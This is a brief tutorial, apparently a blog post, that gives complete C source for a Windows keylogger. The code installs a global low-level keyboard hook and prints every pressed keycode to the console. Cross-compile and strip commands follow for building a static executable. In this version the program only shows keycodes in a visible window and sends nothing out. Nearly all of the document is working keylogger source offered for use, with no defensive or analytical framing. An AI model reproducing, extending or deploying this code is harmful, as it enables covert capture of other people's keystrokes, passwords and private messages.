Writing a simple keylogger for Windows

The basic idea is;

#include <windows.h>
#include <stdio.h>


HHOOK hook;

LRESULT __stdcall
LLKBCallback(int nCode, WPARAM wParam, LPARAM lParam) {
        KBDLLHOOKSTRUCT kbdStruct;

        if (nCode == HC_ACTION && wParam == WM_KEYDOWN) {
                kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
                printf("keycode: 0x%x\n", kbdStruct.vkCode);
        }

        return CallNextHookEx(hook, nCode, wParam, lParam);
}


int
main(int argc, char **argv) {
        MSG msg;

        ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 1);

        hook = SetWindowsHookEx(WH_KEYBOARD_LL, LLKBCallback, NULL, 0);
        if (!hook)
                MessageBox(NULL, "Failed to install hook", "Error", MB_ICONERROR);

        while (GetMessage(&msg, NULL, 0, 0))
                ;
}

Then cross-compile for windows

x86_64-w64-mingw32-gcc  -o keylog.exe keylog.c -static
x86_64-w64-mingw32-strip keylog.exe

That's it.